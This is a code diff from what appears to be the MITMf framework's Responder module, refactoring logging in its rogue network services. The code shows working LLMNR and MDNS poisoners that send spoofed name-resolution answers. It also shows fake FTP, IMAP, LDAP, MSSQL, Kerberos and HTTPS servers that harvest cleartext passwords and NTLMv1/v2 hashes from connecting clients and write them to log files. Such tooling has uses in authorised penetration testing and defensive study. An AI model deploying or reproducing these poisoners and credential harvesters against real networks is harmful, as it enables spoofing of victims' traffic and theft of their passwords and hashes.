formatter = logging.Formatter("%(asctime)s [FTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("FTPserver", formatter)
|
||||
|
||||
class FTPServer():
|
||||
class FTPserver():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
mitmf_logger.debug("[FTPServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
|
||||
t = threading.Thread(name="FTPServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="FTPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[FTPServer] Error starting on port {}: {}".format(21, e))
|
||||
log.error("Error starting on port {}: {}".format(21, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
@ -45,7 +47,7 @@ class FTP(BaseRequestHandler):
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
mitmf_logger.info('[FTPServer] {} FTP User: {}'.format(self.client_address[0], User))
|
||||
log.info('{} FTP User: {}'.format(self.client_address[0], User))
|
||||
t = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
@ -53,7 +55,7 @@ class FTP(BaseRequestHandler):
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
mitmf_logger.info('[FTPServer] {} FTP Password is: {}'.format(self.client_address[0], Pass))
|
||||
log.info('{} FTP Password is: {}'.format(self.client_address[0], Pass))
|
||||
t = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
@ -62,4 +64,4 @@ class FTP(BaseRequestHandler):
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[FTPServer] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
@ -1,145 +0,0 @@
|
||||
##################################################################################
|
||||
#HTTPS Server stuff starts here (Not Used)
|
||||
##################################################################################
|
||||
|
||||
class HTTPSProxy():
|
||||
|
||||
def serve_thread_SSL(host, port, handler):
|
||||
try:
|
||||
server = SSlSock((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(SSL_On_Off):
|
||||
if SSL_On_Off == "ON":
|
||||
t = threading.Thread(name="SSL", target=self.serve_thread_SSL, args=("0.0.0.0", 443,DoSSL))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
return t
|
||||
if SSL_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class SSlSock(ThreadingMixIn, TCPServer):
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
BaseServer.__init__(self, server_address, RequestHandlerClass)
|
||||
ctx = SSL.Context(SSL.SSLv3_METHOD)
|
||||
ctx.use_privatekey_file(SSLkey)
|
||||
ctx.use_certificate_file(SSLcert)
|
||||
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
|
||||
self.server_bind()
|
||||
self.server_activate()
|
||||
|
||||
def shutdown_request(self,request):
|
||||
try:
|
||||
request.shutdown()
|
||||
except:
|
||||
pass
|
||||
|
||||
class DoSSL(StreamRequestHandler):
|
||||
def setup(self):
|
||||
self.exchange = self.request
|
||||
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
|
||||
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.exchange.recv(8092)
|
||||
self.exchange.settimeout(0.5)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff:
|
||||
self.exchange.send(buff)
|
||||
else:
|
||||
buffer0 = HTTPSPacketSequence(data,self.client_address[0])
|
||||
self.exchange.send(buffer0)
|
||||
except:
|
||||
pass
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPSHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
if NthashLen == 24:
|
||||
#print "[+]HTTPS NTLMv1 hash captured from :",client
|
||||
responder_logger.info('[+]HTTPS NTLMv1 hash captured from :%s'%(client))
|
||||
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
#print "Hostname is :", Hostname
|
||||
responder_logger.info('[+]HTTPS NTLMv1 Hostname is :%s'%(Hostname))
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
#print "User is :", data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
responder_logger.info('[+]HTTPS NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
outfile = "./logs/responder/HTTPS-NTLMv1-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
WriteData(outfile,WriteHash, User+"::"+Hostname)
|
||||
#print "Complete hash is : ", WriteHash
|
||||
responder_logger.info('[+]HTTPS NTLMv1 Complete hash is :%s'%(WriteHash))
|
||||
if NthashLen > 24:
|
||||
#print "[+]HTTPS NTLMv2 hash captured from :",client
|
||||
responder_logger.info('[+]HTTPS NTLMv2 hash captured from :%s'%(client))
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
#print "Domain is : ", Domain
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Domain is :%s'%(Domain))
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
#print "User is :", User
|
||||
responder_logger.info('[+]HTTPS NTLMv2 User is : %s'%(User))
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
#print "Hostname is :", HostName
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Hostname is :%s'%(HostName))
|
||||
outfile = "./logs/responder/HTTPS-NTLMv2-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
|
||||
WriteData(outfile,WriteHash, User+"::"+Domain)
|
||||
#print "Complete hash is : ", WriteHash
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
#Handle HTTPS packet sequence.
|
||||
def HTTPSPacketSequence(data,client):
|
||||
a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
if a:
|
||||
packetNtlm = b64decode(''.join(a))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
GrabCookie(data,client)
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_NTLM_Challenge_Ans()
|
||||
t.calculate(str(r))
|
||||
buffer1 = str(t)
|
||||
return buffer1
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(a))
|
||||
ParseHTTPSHash(NTLM_Auth,client)
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
|
||||
return buffer1
|
||||
if b:
|
||||
GrabCookie(data,client)
|
||||
outfile = "./logs/responder/HTTPS-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b)))
|
||||
#print "[+]HTTPS-User & Password:", b64decode(''.join(b))
|
||||
responder_logger.info('[+]HTTPS-User & Password: %s'%(b64decode(''.join(b))))
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
|
||||
return buffer1
|
||||
|
||||
else:
|
||||
return str(Basic_Ntlm(Basic))
|
||||
|
||||
##################################################################################
|
||||
#HTTPS Server stuff ends here (Not Used)
|
||||
##################################################################################
|
@ -4,20 +4,22 @@ import threading
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from IMAPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("IMAPserver", formatter)
|
||||
|
||||
class IMAPServer():
|
||||
class IMAPserver():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
mitmf_logger.debug("[IMAPServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
|
||||
t = threading.Thread(name="IMAPServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="IMAPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e))
|
||||
log.error("Error starting on port {}: {}".format(143, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
@ -43,9 +45,9 @@ class IMAP(BaseRequestHandler):
|
||||
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Credentials, Credentials)
|
||||
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
|
||||
mitmf_logger.info('[IMAPServer] IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
|
||||
log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
|
||||
self.request.send(str(ditchthisconnection()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[IMAPServer] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
@ -1,34 +1,34 @@
|
||||
|
||||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from core.logger import logger
|
||||
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("KERBserver", formatter)
|
||||
|
||||
class KERBServer():
|
||||
class KERBserver():
|
||||
|
||||
def serve_thread_udp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[KERBServer] Error starting UDP server on port 88: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error starting UDP server on port 88: {}:".format(e))
|
||||
|
||||
def serve_thread_tcp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[KERBServer] Error starting TCP server on port 88: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error starting TCP server on port 88: {}:".format(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self):
|
||||
mitmf_logger.debug("[KERBServer] online")
|
||||
t1 = threading.Thread(name="KERBServerUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
||||
t2 = threading.Thread(name="KERBServerTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
||||
log.debug("online")
|
||||
t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
||||
t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
||||
for t in [t1,t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
@ -54,7 +54,7 @@ class KerbTCP(BaseRequestHandler):
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
if KerbHash:
|
||||
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
@ -65,7 +65,7 @@ class KerbUDP(BaseRequestHandler):
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
if KerbHash:
|
||||
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
@ -6,22 +6,24 @@ import re
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from LDAPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [LDAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LDAPserver", formatter)
|
||||
|
||||
class LDAPServer():
|
||||
class LDAPserver():
|
||||
|
||||
def start(self, chal):
|
||||
global Challenge; Challenge = chal
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[LDAPServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
|
||||
t = threading.Thread(name="LDAPServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="LDAPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e))
|
||||
log.error("Error starting on port {}: {}".format(389, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
@ -60,11 +62,11 @@ def ParseLDAPHash(data,client):
|
||||
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
|
||||
WriteData(Outfile,writehash,User+"::"+Domain)
|
||||
#print "[LDAP] NTLMv1 complete hash is :", writehash
|
||||
mitmf_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash))
|
||||
log.info('NTLMv1 complete hash is :%s'%(writehash))
|
||||
if LMhashLen <2 :
|
||||
Message = '[LDAPServer] LDAP Anonymous NTLM authentication, ignoring..'
|
||||
Message = 'LDAP Anonymous NTLM authentication, ignoring..'
|
||||
#print Message
|
||||
mitmf_logger.info(Message)
|
||||
log.info(Message)
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
@ -93,8 +95,8 @@ def ParseLDAPPacket(data,client):
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
|
||||
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,'[LDAPServer] User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
mitmf_logger.info('[LDAPServer] User: %s Password: %s'%(UserDomain,Password))
|
||||
WriteData(outfile,'User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
log.info('User: %s Password: %s'%(UserDomain,Password))
|
||||
if sasl == "\xA3":
|
||||
buff = ParseNTLM(data,client)
|
||||
return buff
|
||||
@ -102,7 +104,7 @@ def ParseLDAPPacket(data,client):
|
||||
buff = ParseSearch(data)
|
||||
return buff
|
||||
else:
|
||||
mitmf_logger.info('[LDAPServer] Operation not supported')
|
||||
log.info('Operation not supported')
|
||||
|
||||
#LDAP Server Class
|
||||
class LDAP(BaseRequestHandler):
|
@ -1,34 +1,34 @@
|
||||
#! /usr/bin/env python2.7
|
||||
|
||||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.common import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LLMNRpoisoner", formatter)
|
||||
|
||||
class LLMNRPoisoner:
|
||||
class LLMNRpoisoner:
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
global args; args = options #For now a quick hack to make argparse's namespace object available to all
|
||||
global args; args = options #For now a quick way to make argparse's namespace object available to all
|
||||
global OURIP ; OURIP = ourip #and our ip address
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP))
|
||||
log.debug("OURIP => {}".format(OURIP))
|
||||
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
|
||||
t = threading.Thread(name="LLMNRPoisoner", target=server.serve_forever) #LLMNR
|
||||
t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[LLMNRPoisoner] Error starting on port 5355: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.error("Error starting on port 5355: {}:".format(e))
|
||||
|
||||
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
@ -82,7 +82,7 @@ class LLMNR(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
DontRespondTo = ResponderConfig['DontRespondTo']
|
||||
DontRespondToName = ResponderConfig['DontRespondToName']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
@ -97,11 +97,11 @@ class LLMNR(BaseRequestHandler):
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
|
||||
log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
|
||||
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
|
||||
else:
|
||||
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
|
||||
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
|
||||
|
||||
if DontRespondToSpecificHost(DontRespondTo):
|
||||
if RespondToIPScope(DontRespondTo, self.client_address[0]):
|
||||
@ -118,13 +118,13 @@ class LLMNR(BaseRequestHandler):
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
@ -132,13 +132,13 @@ class LLMNR(BaseRequestHandler):
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
||||
@ -147,26 +147,26 @@ class LLMNR(BaseRequestHandler):
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
@ -1,5 +1,3 @@
|
||||
#! /usr/bin/env python2.7
|
||||
|
||||
import threading
|
||||
import socket
|
||||
import struct
|
||||
@ -10,10 +8,12 @@ from core.configwatcher import ConfigWatcher
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("MDNSpoisoner", formatter)
|
||||
|
||||
class MDNSPoisoner():
|
||||
class MDNSpoisoner():
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
@ -21,13 +21,13 @@ class MDNSPoisoner():
|
||||
global OURIP; OURIP = ourip
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[MDNSPoisoner] OURIP => {}".format(OURIP))
|
||||
log.debug("OURIP => {}".format(OURIP))
|
||||
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
|
||||
t = threading.Thread(name="MDNSPoisoner", target=server.serve_forever)
|
||||
t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
print "[MDNSPoisoner] Error starting on port 5353: {}" .format(e)
|
||||
log.error("Error starting on port 5353: {}" .format(e))
|
||||
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
@ -78,7 +78,7 @@ class MDNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
|
||||
MADDR = "224.0.0.251"
|
||||
@ -89,14 +89,14 @@ class MDNS(BaseRequestHandler):
|
||||
try:
|
||||
if args.analyze:
|
||||
if Parse_IPV6_Addr(data):
|
||||
mitmf_logger.info('[MDNSPoisoner] {} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
|
||||
if RespondToSpecificHost(RespondTo):
|
||||
if args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
Name = Poisoned_MDNS_Name(data)
|
||||
MDns = MDNSAns(AnswerName = Name)
|
||||
MDns.calculate()
|
||||
@ -104,7 +104,7 @@ class MDNS(BaseRequestHandler):
|
||||
|
||||
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
||||
if Parse_IPV6_Addr(data):
|
||||
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
Name = Poisoned_MDNS_Name(data)
|
||||
MDns = MDNSAns(AnswerName = Name)
|
||||
MDns.calculate()
|
@ -2,25 +2,27 @@ import struct
|
||||
import logging
|
||||
import threading
|
||||
|
||||
from core.logger import logger
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from MSSQLPackets import *
|
||||
from core.responder.common import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [MSSQLserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("MSSQLserver", formatter)
|
||||
|
||||
class MSSQLServer():
|
||||
class MSSQLserver():
|
||||
|
||||
def start(self, chal):
|
||||
global Challenge; Challenge = chal
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[MSSQLServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
|
||||
t = threading.Thread(name="MSSQLServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="MSSQLserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e))
|
||||
log.error("Error starting on port {}: {}".format(1433, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
@ -47,10 +49,10 @@ def ParseSQLHash(data,client):
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
|
||||
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
|
||||
mitmf_logger.info('[MSSQLServer] MsSQL NTLMv1 hash captured from :{}'.format(client))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Domain is :{}'.format(Domain))
|
||||
